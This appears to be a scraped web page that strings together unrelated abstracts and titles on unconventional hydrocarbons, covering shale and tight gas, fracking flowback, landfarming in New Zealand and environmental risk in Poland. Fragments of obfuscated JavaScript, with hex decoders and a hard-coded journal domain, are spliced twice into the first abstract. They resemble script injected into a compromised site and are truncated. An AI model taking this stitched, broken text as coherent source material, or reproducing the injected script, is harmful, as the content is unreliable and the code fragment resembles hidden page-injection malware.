Co-producing European knowledge and publics amidst controversy: The EU expert network on unconventional hydrocarbons

The article presents common and distinctive characteristics of conventional and unconventional hydrocarbon resources and synchronized determinations their main types in Ukrainian and English terminology. The major prospecting-prognosis criteria and features of the unconventional hydrocarbons resources main types were defined. The world experience in prospecting and extraction of unconventional hydrocarbons was analyzed. The main tasks in solution the problem of use Ukrainian unconventional hydrocarbon sources significant resources potential were defined.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Recoverable amount of the already discovered and even prospective unconventional hydrocarbons in Hungary supposedly exceeds 1,500 million tons of oil equivalent, but according to modest estimates, the 30-year perspective of the recoverable amount can reach only 100 million tons by current available technology. The unconventional hydrocarbon extraction is mostly the production of tight gas, but there is a great chance of unconventional shale gas and shale oil exploration and extraction as well. Nevertheless, in Hungary the hydraulic fracturing is a precondition for the exploitation of unconventional hydrocarbon resources.

There is an expectation that the exploitation of unconventional hydrocarbons (UH) reservoirs will contribute to satisfy the growing demand of energy, since conventional reservoirs are on a declining stage. However, environmental consequences of the fluids used on unconventional formations are an aspect that has not been analyzed in depth in the region. Approximately 10-40% of the volume injected of fracturing fluids returns to the surface during the hydraulic fracturing process. The flowback not only includes the chemicals added, but may also contain various substances suspended from the formation. This situation demands the development of appropriate technologies for flowback treatment and the need to consider the existing legal context and the ecologic and environmental conditions. The impacts associated with UH activities that need to be analyzed in order to accomplish control and standardization, include those related to consumption of surface water or groundwater, potential contamination of regional water resources, treatment and final disposal of flowback. It is possible to achieve the sustainability of the activity, based on an environmental analysis. The objective of this work is the analysis of the environmental aspects associated to the extraction of UH (shale and tight). A comparative analysis of the activity, in a national and international context, including legal aspects, technologies used and environmental risk is performed. Additionally, possible mitigation measures of environmental risks are evaluated. The study includes the analysis of the existing environmental legislative framework in different regions where the exploitation of UH could be made. It also includes the analysis of the actual effluent management strategy. A description of the environmental conditions, including climatic, geological, hydrological and ecological conditions is performed in areas with completion activities, in order to identify the regions with higher level of environmental risk. Possible technologies for flowback water treatment and reuse are analyzed, depending on physicochemical characteristics and volumes of water. The novelty of this work is the analysis of the factors that determine the environmental risk in the extraction of UH, especially in the hydraulic fracturing process, which includes technologies, environmental conditions at the site and the legal context in the region. This allows identify the areas of higher and lower level of environmental risk in order to proceed to the identification, implementation and development of potential mitigation measures to achieve the sustainability of the activity.

Hydrocarbons exist in abundant quantity beneath the earth's surface. These hydrocarbons are generally classified as conventional and unconventional hydrocarbons depending upon their nature, geology, and exploitation procedure. Since the conventional hydrocarbons are under the depletion phase, the unconventional hydrocarbons have been a major candidate for current and future hydrocarbon production. Additionally, investment and research have increased significantly for its exploitation. Having the shift toward unconventional hydrocarbons, this study reviews in depth the technical aspects of unconventional hydrocarbons. This review brings together all the important aspects of unconventional reservoirs in single literature. This review at first highlights the worldwide unconventional hydrocarbon resources, their technical concept, distribution, and future supplies. A portion of this study also discusses the resources of progressive unconventional hydrocarbon candidates. Apart from this, this review also highlights the geological aspects of different unconventional hydrocarbon resources including tight, shale, and coalbed methane. The petrophysical behavior of such assists including the response to well logs and the discussion of improved correlation for petrophysical analysis is a significant part of this detailed study. The variation in geology and petrophysics of unconventional resources with conventional resources are also presented. In addition, the latest technologies for producing unconventional hydrocarbons ranging from fractured wells to different fluid injections are discussed in this study. In the end, the latest machine learning and optimization techniques have been discussed that aids in the optimized field development planning of unconventional reservoirs.

The extraction of unconventional hydrocarbons, particularly through hydraulic fracturing (‘fracking’), has generated both support and opposition in many countries around the globe. Along with arguments about economic benefits, decarbonisation, transition fuels and groundwater contamination, etc., the rapid expansion of this industry presents a pressing problem as regards the disposal of the resultant waste – including drilling and cutting material, oil and gas residues, various chemicals used in the process, salts and produced water. One putative solution – ‘landfarming’ – is a disposal process that involves spreading oil and gas waste on to land and mixing it with topsoil to allow bioremediation of the hydrocarbons. This paper examines the case of landfarming in New Zealand where the practice has proved controversial due to its association with fracking, fears about the contamination of agricultural land and potential danger to milk supplies. Drawing upon Gieryn’s notion of cultural cartography and boundary work as well as the literature on the politics of scale it analyses the struggles for epistemic authority regarding the safety of landfarming. The paper concludes that scalar practices were central to the production of knowledge (and ignorance) in these credibility struggles, and that the prevailing cultural cartography of knowledge remained the arbiter and basis for policy. The case has wider implications in terms of the management of waste from unconventional hydrocarbons as well as other environmental issues in which the politics of scale figure in contested knowledge claims.

Transboundary Risk Governance <i>Rolf Lidskog, Linda Soneryd, and Ylva Uggla</i> . Sterling, VA:Earthscan, 2010. 155 pp. ISBN: 978-1-84407-791-5, $96

Observations on risks, the social sciences, and unconventional hydrocarbons

The European Commission's Approach Towards Safe Shale Gas Extraction

Unconventional hydrocarbon resources, which are only marginally economically explored and developed by traditional methods and techniques, are different from conventional hydrocarbon resources in their accumulation mechanisms, occurrence states, distribution models, and exploration and development manners. The types of unconventional hydrocarbon are controlled by the evolution of the source rocks and the combinations of different types of unconventional reservoirs. The fundamental distinction between unconventional hydrocarbon resources and conventional hydrocarbon resources is their non-buoyancy-driven migration. The development of the micro- to nano-scale pores results in rather high capillary resistance. The accumulation mechanisms of the unconventional and the conventional hydrocarbon resources are also greatly different. In conventional hydrocarbon resources, oil and gas entrapment is controlled by reservoir-forming factors and geological events, which is a dynamic balance process; while for unconventional hydrocarbon resources, the gas content is affected by the temperature and pressure fields, and their preservation is crucial. Unconventional and conventional hydrocarbons are distributed in an orderly manner in subsurface space, having three distribution models of intra-source rock, basin-centered, and source rock interlayer. These results will be of great significance to unconventional hydrocarbon exploration.

Buoyance-driven hydrocarbon accumulation depth and its implication for unconventional resource prediction

EU plans to boost research

Shale gas and tight gas exploration and extraction processes create potential threats to the environment. In Poland, no comprehensive guidelines for environmental risk assessment have been prepared so far. This paper presents a proposal of environmental risk assessment methodology which can be used for corporate risk management procedures during exploration and extraction of unconventional hydrocarbons in Poland. The most frequent environmental threats that may occur during the exploration and exploitation of unconventional hydrocarbon deposits include degradation of soils through construction of drilling rigs and access roads, landforms change, local soil pollution caused by fuels, cleaning agents and materials used to prepare drilling fluids, rubble, cement, gravel, pollution of surface and underground water as a result of emergency discharges of sewage, infiltration of pollution from waste reservoirs, disturbance of hydrogeological equilibrium through significant water intake, noise and atmospheric pollution resulting from the combustion of fuels. To check the level of these threats’ six exploration sites form Pomeranian and Carpathian region of Poland (3 wells of shale gas and 3 wells of tight gas) have been evaluated in detail, and the risk quantification has been made. Because of a local, short-term and reversible environment impact, the environmental risks for the exploration and extraction processes of unconventional hydrocarbons have been found to be medium or negligibly small. It is recommended that using the same methodology for other regions of Poland where we can find unconventional hydrocarbons and it can be enriched in dedicated application with spatial maps to give the investors a quick feedback on the potential environmental risks. Key words: environmental risk assessment, sustainable development, shale gas, tight gas drilling rig, environment pollution.

Review of unconventional hydrocarbon resources in major energy consuming countries and efforts in realizing natural gas hydrates as a future source of energy

North America is not unique in the abundance of unconventional hydrocarbon resources (in particular, shale), yet it is the only place thus far that has seen significant progress in their extraction and monetization. This success has been driven by a flexible land leasing system for drilling rights, a mature infrastructure network for oil and gas transportation, a favorable fiscal regime, a well-established and very active service industry, and easy access to capital and world leading technologies. To what extent are these attributes singular to North America, and to what extent can the extensive development of unconventional resources seen in North America be replicated in other parts of the world? Many countries have well established and successful conventional E&amp;P activities and fiscal/contractual terms, but have struggled with the question as to how applicable these terms are to unconventional resource exploration, evaluation and development. This paper will seek to identify the key differences in the application of North America’s leasing, regulatory and fiscal regime to shale development, as compared to alternative systems applied elsewhere in the world. The authors start by examining the fundamental cost and production profiles of conventional and unconventional wells in two North American onshore plays, and then in two potentially competing North American capital investment opportunities in order to establish whether there is anything fundamental in the economics of unconventional exploitation that requires different treatment. This analysis is then used to consider economics under cost, regulatory and fiscal regimes outside of North America.

Reconciling the mismatch: evaluating competing knowledge claims over soil fertility in Kano, Nigeria